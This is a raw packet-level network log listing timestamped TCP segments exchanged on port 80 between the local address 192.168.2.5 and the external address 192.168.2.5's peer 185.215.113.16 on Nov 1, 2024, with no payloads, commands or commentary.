Nov 1, 2024 05:02:10.781847000 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.781897068 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.781913042 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.781928062 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.781944990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.781944990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.782149076 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.782227039 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.782304049 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.782320023 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.782336950 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.782354116 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.782407999 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.782407999 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.782758951 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.782776117 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.782803059 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.782816887 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.782927990 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.782978058 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.782994986 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.783032894 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.783099890 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.783114910 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.783140898 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.783198118 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.827529907 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.827589989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.827605009 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.827634096 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.827657938 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.827718973 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.827785969 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.827874899 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.827889919 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.827914000 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.827961922 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872121096 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872138023 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872215033 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872215033 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872366905 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872383118 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872397900 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872412920 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872419119 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872419119 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872430086 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872445107 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872462988 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872462988 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872504950 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872504950 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872864008 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872879982 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872899055 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.872910023 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872932911 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.872981071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.900741100 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.900767088 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.900810003 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.900818110 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.900834084 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.900886059 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.900918007 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.900962114 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.900980949 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.901058912 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.901084900 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.901125908 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.901143074 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.901201010 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.901266098 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.901381969 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.901385069 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.901398897 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.901427031 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.901468039 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.901674032 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.901732922 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.901768923 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.901783943 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.901814938 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.901845932 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.946666956 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.946724892 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.946742058 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.946763039 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.946763039 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.946785927 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.946922064 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.946938038 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.947024107 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.947024107 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.988411903 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.988481045 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.988492966 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.988509893 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.988542080 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.988562107 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.988682985 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.988728046 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.988822937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.988838911 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.988868952 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.988881111 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.989058971 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.989074945 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.989114046 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.989114046 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.989234924 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.989360094 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.989372015 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.989386082 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.989460945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.989460945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.989533901 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.989612103 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.989648104 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.989664078 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:10.989694118 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:10.989706039 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.019807100 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.019861937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.019880056 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.019903898 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.019939899 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.019939899 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.020020008 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.020067930 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.020071030 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.020148039 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.020239115 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.020256042 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.020358086 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.020358086 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.020378113 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.020420074 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.020520926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.020535946 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.020570040 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.020570040 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.020725012 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.020771980 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.020817995 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.020838022 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.020905972 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.020905972 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.065912962 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.065993071 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.066009998 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.066024065 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.066040039 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.066063881 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.066214085 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.066272974 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.107543945 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.107604980 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.107621908 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.107654095 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.107654095 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.107672930 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.107718945 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.107737064 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.107750893 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.107772112 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.107881069 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.107903957 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.107918978 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.107956886 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.108093977 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.108109951 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.108175039 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.108175039 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.108288050 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.108341932 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.108392954 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.108442068 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.108483076 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.108529091 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.108540058 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.108581066 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.108678102 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.108700037 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.108726978 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.108761072 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.108887911 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.108932018 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.109066963 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.109111071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.109149933 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.109183073 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.109234095 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.109273911 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.139066935 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.139143944 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.139159918 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.139175892 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.139199018 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.139242887 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.139416933 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.139431953 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.139447927 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.139457941 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.139481068 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.139512062 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.139760017 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.139774084 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.139816046 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.139816046 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.139925957 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.139945030 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.139969110 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.140003920 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.140124083 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.140181065 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.184915066 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.184969902 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.184976101 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.184993982 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.185043097 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.185043097 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.226552010 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.226567030 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.226603031 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.226619005 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.226644993 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.226689100 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.226728916 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.226768970 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.226816893 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.226874113 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.226943016 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.226959944 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.227005005 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.227005005 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.227170944 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.227232933 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.227257967 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.227333069 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.227370024 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.227370024 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.227408886 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.227467060 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.227557898 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.227574110 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.227588892 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.227598906 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.227652073 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.227652073 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.227835894 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.227884054 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.228048086 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.228064060 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.228086948 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.228121042 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.228266001 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.228281975 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.228297949 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.228440046 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.228440046 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258002043 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.258089066 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.258104086 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.258127928 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258127928 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258160114 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258212090 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.258238077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.258259058 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258282900 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258471012 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.258517981 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258553028 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.258606911 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258702040 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.258718014 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.258732080 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.258755922 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258755922 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258785963 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.258980036 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.259023905 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.259084940 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.259130001 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.304121971 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.304204941 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.304251909 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.304251909 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.346018076 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.346096992 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.346112013 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.346116066 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.346153021 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.346179962 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.346518040 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.346539021 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.346576929 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.346576929 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.346595049 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.346635103 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.346736908 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.346754074 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.346785069 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.346812010 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.346867085 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.346916914 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.346987963 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.347088099 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.347095966 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.347111940 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.347143888 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.347182989 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.347248077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.347292900 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.347385883 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.347448111 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.347484112 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.347500086 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.347537041 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.347537041 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.347702980 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.347718000 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.347734928 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.347783089 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.347783089 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.347783089 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.377198935 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.377285004 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.377300024 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.377307892 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.377373934 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.377373934 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.377418995 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.377465963 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.377584934 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.377600908 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.377634048 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.377634048 CET	59827	80	192.168.2.5	185.215.113.16
